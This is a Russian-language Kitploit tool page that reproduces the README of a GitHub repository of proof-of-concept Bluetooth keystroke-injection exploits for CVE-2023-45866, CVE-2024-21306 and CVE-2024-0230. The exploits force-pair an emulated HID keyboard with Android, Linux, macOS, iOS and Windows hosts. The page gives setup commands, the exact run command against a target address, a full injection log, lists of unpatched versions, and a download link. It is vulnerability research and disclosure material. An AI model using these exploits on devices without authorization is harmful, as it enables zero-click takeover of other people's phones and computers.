Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
hi_my_name_is_keyboard — PoC-эксплойты для инъекции нажатий клавиш через Bluetooth для CVE-2023-45866, CVE-2024-21306 и CVE-2024-0230, нацеленные на Android, Linux, macOS и iOS через эмулируемые HID-клавиатуры. | Kitploit
Инструменты/GitHubGitHub/marcnewlin/hi_my_name_is_keyboard
Безопасность AndroidБезопасность BluetoothБезопасность iOSЭксплуатацияБезопасность беспроводных сетейМобильная безопасностьБезопасность оборудования и IoTСостязательная Атака

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
marcnewlin/hi_my_name_is_keyboard

hi_my_name_is_keyboard

PoC-эксплойты для инъекции нажатий клавиш через Bluetooth для CVE-2023-45866, CVE-2024-21306 и CVE-2024-0230, нацеленные на Android, Linux, macOS и iOS через эмулируемые HID-клавиатуры.

Репозиторий
731113242 лет назадПроверено Kitploit

Привет, меня зовут Keyboard

Этот репозиторий содержит PoC-скрипты для CVE-2023-45866, CVE-2024-21306 и CVE-2024-0230. Дополнительные сведения можно найти в блог-посте.

PoCОписание
Внедрение нажатий клавиш в AndroidПринудительно сопрягает виртуальную Bluetooth-клавиатуру с уязвимым устройством Android и вводит нажатия клавиши tab в течение 10 секунд.
Внедрение нажатий клавиш в LinuxПринудительно сопрягает виртуальную Bluetooth-клавиатуру с хостом Linux и вводит нажатия клавиши tab в течение 10 секунд.
Внедрение нажатий клавиш в macOSПринудительно сопрягает виртуальную Bluetooth-клавиатуру с хостом macOS и вводит нажатия клавиш, чтобы открыть веб-браузер и выполнить поиск Google.
Внедрение нажатий клавиш в iOSПринудительно сопрягает виртуальную Bluetooth-клавиатуру с хостом iOS и вводит нажатия клавиш, чтобы открыть веб-браузер и перейти по URL.
Внедрение нажатий клавиш в WindowsПринудительно сопрягает виртуальную Bluetooth-клавиатуру с хостом Windows и вводит нажатия клавиши tab.
Ключ связи Magic Keyboard через порт LightningСчитывает Bluetooth-ключ связи из порта Lightning на клавиатуре Magic Keyboard.
Ключ связи Magic Keyboard через BluetoothСчитывает Bluetooth-ключ связи из неаутентифицированного Bluetooth HID-сервиса на клавиатуре Magic Keyboard.
Ключ связи Magic Keyboard через USB-порт на MacСчитывает Bluetooth-ключ связи целевой клавиатуры Magic Keyboard, имитируя клавиатуру через USB на её сопряжённом Mac.

Зависимости

Скрипты проверенно работают на хосте Ubuntu 22.04 с Bluetooth-адаптером на базе Broadcom.

Я в основном использовал этот адаптер: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

Начиная с чистой установки Ubuntu 22.04, зависимости можно установить с помощью следующих команд.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Внедрение нажатий клавиш

Внедрение нажатий клавиш в Android

Устройства Android уязвимы до уровня безопасности от 2023-12-05.

Когда Bluetooth включён на непропатченном устройстве Android, злоумышленник может подключить эмулируемую Bluetooth-клавиатуру и внедрять нажатия клавиш без подтверждения пользователя. Это атака zero-click, которая работает при включённом Bluetooth.

Затронутые версии

Эта уязвимость затрагивает Android ~4.2.2 и более поздние версии.

  • Android 4.2.2 - 10 не будут пропатчены
  • Для Android 11 - 14 доступны патчи (уровень безопасности от 2023-12-05)
  • Pixel 6, 7 и 8 получили патчи
  • Pixel 5 и более старые остаются уязвимыми

Начальное состояние

  • Bluetooth включён на целевом устройстве Android

Запуск PoC

Запустите PoC, нацеленный на устройство Android 5C:F3:70:AA:07:BD, используя интерфейс hci1.``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

В случае успеха PoC внедрит полезную нагрузку из нажатий клавиши `tab` в течение 10 секунд.

#### Пример вывода```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

Внедрение нажатий клавиш в Linux

Linux-хосты, работающие под управлением BlueZ 5, уязвимы до выхода исправлений примерно в декабре 2023 года. Конкретные номера версий зависят от дистрибутива Linux.

Когда непропатченный Linux-хост доступен для обнаружения и подключения через Bluetooth, злоумышленник может подключить эмулируемую Bluetooth-клавиатуру и внедрять нажатия клавиш без подтверждения пользователя. Это атака с нулевым кликом, которая срабатывает всякий раз, когда хост доступен для обнаружения и подключения.

Затронутые версии

Известно, что эта уязвимость затрагивает непропатченные дистрибутивы Linux, использующие конфигурацию BlueZ 5 по умолчанию.

Google утверждает, что ChromeOS не был затронут этой уязвимостью, и хотя ChromeOS не тестировался в рамках этого исследования, их конфигурация BlueZ действительно предотвращает атаку.

Затронутые дистрибутивы включают Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto и Amazon Linux. Могут быть затронуты несколько выпусков; например, Ubuntu выпустила исправления для 16.04, 18.04, 20.04, 22.04, 23.04 и 23.10.

Исходное состояние

  • Целевой Linux-хост доступен для обнаружения и подключения через Bluetooth.
  • Linux-хосты обычно доступны для обнаружения и подключения, когда открыта панель настроек Bluetooth.

Запуск PoC

Скачать инструмент